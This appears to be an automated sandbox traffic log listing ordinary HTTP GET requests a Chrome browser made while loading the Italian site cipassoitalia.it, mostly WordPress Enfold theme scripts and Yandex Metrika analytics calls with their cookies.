Source: global traffic	HTTP traffic detected: GET /recaptcha/about/images/reCAPTCHA-logo@2x.png HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlaHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/magazine/magazine.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow/slideshow.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/gallery/gallery.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/portfolio/isotope.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/gallery_horizontal/gallery_horizontal.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/masonry_entries/masonry_entries.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: global traffic	HTTP traffic detected: GET /metrika/tag.js HTTP/1.1Host: mc.yandex.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=MWn/b3CGBdGz4xwo6ybs8zuB0m6dqTWEZs6SfrZEPLGuS1njVyPf5dksYDS0w6MqEEVqybkB7y6BVJBOmOuiQIuKgyY=; yandexuid=5258352291735921983; yashr=2056106971735921983
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/headline_rotator/headline_rotator.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/menu/menu.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/icongrid/icongrid.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/notification/notification.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/numbers/numbers.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /metrika/metrika_match.html HTTP/1.1Host: mc.yandex.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/iconlist/iconlist.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/portfolio/portfolio.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/image_hotspots/image_hotspots.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/magazine/magazine.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/masonry_entries/masonry_entries.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/progressbar/progressbar.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/menu/menu.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/portfolio/isotope.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /watch/99162160?wmode=7&page-url=https%3A%2F%2Fwww.cipassoitalia.it%2F&charset=utf-8&uah=chu%0A%22Google%20Chrome%22%3Bv%3D%22117%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228%22%2C%22Chromium%22%3Bv%3D%22117%22%0Acha%0Ax86%0Achb%0A64%0Achf%0A117.0.5938.132%0Achl%0A%22Google%20Chrome%22%3Bv%3D%22117.0.5938.132%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228.0.0.0%22%2C%22Chromium%22%3Bv%3D%22117.0.5938.132%22%0Achm%0A%3F0%0Achp%0AWindows%0Achv%0A10.0.0&browser-info=pv%3A1%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Afu%3A0%3Aen%3Autf-8%3Ala%3Aen-US%3Av%3A1551%3Acn%3A1%3Adp%3A0%3Als%3A1370925244722%3Ahid%3A679857121%3Az%3A-300%3Ai%3A20250103113304%3Aet%3A1735921984%3Ac%3A1%3Arn%3A888462558%3Arqn%3A1%3Au%3A1735921984342483081%3Aw%3A1280x907%3As%3A1280x1024x24%3Ask%3A1%3Afp%3A15621%3Awv%3A2%3Ads%3A86%2C715%2C461%2C117%2C777%2C0%2C%2C%2C%2C%2C%2C%2C%3Aco%3A0%3Acpf%3A1%3Ans%3A1735921964729%3Arqnl%3A1%3Ast%3A1735921986%3At%3ACiPASSO.%20Nel%20cuore%20di%20Roma%2C%20ad%20un%20passo%20dal%20Pantheon.&t=gdpr(14)clc(0-0-0)rqnt(1)aw(1)rcm(1)cdl(na)eco(42009088)fid(160)ti(1) HTTP/1.1Host: mc.yandex.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cipassoitalia.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=narlABsq63nROyU6LhKlC/QyBgl1C5gTK9qc3JdRc3H3zDytph2vBN10ZgqZgH/k820S88p65t19wIhYvE7/vXqicU8=; yandexuid=8563067781735921985; yashr=2978277861735921985
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow/slideshow-video.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_accordion/slideshow_accordion.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_fullscreen/slideshow_fullscreen.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/notification/notification.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_layerslider/slideshow_layerslider.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /watch/99162160/1?wmode=7&page-url=https%3A%2F%2Fwww.cipassoitalia.it%2F&charset=utf-8&uah=chu%0A%22Google%20Chrome%22%3Bv%3D%22117%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228%22%2C%22Chromium%22%3Bv%3D%22117%22%0Acha%0Ax86%0Achb%0A64%0Achf%0A117.0.5938.132%0Achl%0A%22Google%20Chrome%22%3Bv%3D%22117.0.5938.132%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228.0.0.0%22%2C%22Chromium%22%3Bv%3D%22117.0.5938.132%22%0Achm%0A%3F0%0Achp%0AWindows%0Achv%0A10.0.0&browser-info=pv%3A1%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Afu%3A0%3Aen%3Autf-8%3Ala%3Aen-US%3Av%3A1551%3Acn%3A1%3Adp%3A0%3Als%3A1370925244722%3Ahid%3A679857121%3Az%3A-300%3Ai%3A20250103113304%3Aet%3A1735921984%3Ac%3A1%3Arn%3A888462558%3Arqn%3A1%3Au%3A1735921984342483081%3Aw%3A1280x907%3As%3A1280x1024x24%3Ask%3A1%3Afp%3A15621%3Awv%3A2%3Ads%3A86%2C715%2C461%2C117%2C777%2C0%2C%2C%2C%2C%2C%2C%2C%3Aco%3A0%3Acpf%3A1%3Ans%3A1735921964729%3Arqnl%3A1%3Ast%3A1735921986%3At%3ACiPASSO.%20Nel%20cuore%20di%20Roma%2C%20ad%20un%20passo%20dal%20Pantheon.&t=gdpr%2814%29clc%280-0-0%29rqnt%281%29aw%281%29rcm%281%29cdl%28na%29eco%2842009088%29fid%28160%29ti%281%29 HTTP/1.1Host: mc.yandex.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cipassoitalia.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=narlABsq63nROyU6LhKlC/QyBgl1C5gTK9qc3JdRc3H3zDytph2vBN10ZgqZgH/k820S88p65t19wIhYvE7/vXqicU8=; yandexuid=8563067781735921985; yashr=2978277861735921985; yabs-sid=814606481735921986; yuidss=8563067781735921985; ymex=1767457986.yrts.1735921986; receive-cookie-deprecation=1; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjEzMiIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xMzIiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjEzMiIi
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/numbers/numbers.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/portfolio/portfolio.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/progressbar/progressbar.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /sync_cookie_image_check HTTP/1.1Host: mc.yandex.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/tab_section/tab_section.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_accordion/slideshow_accordion.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
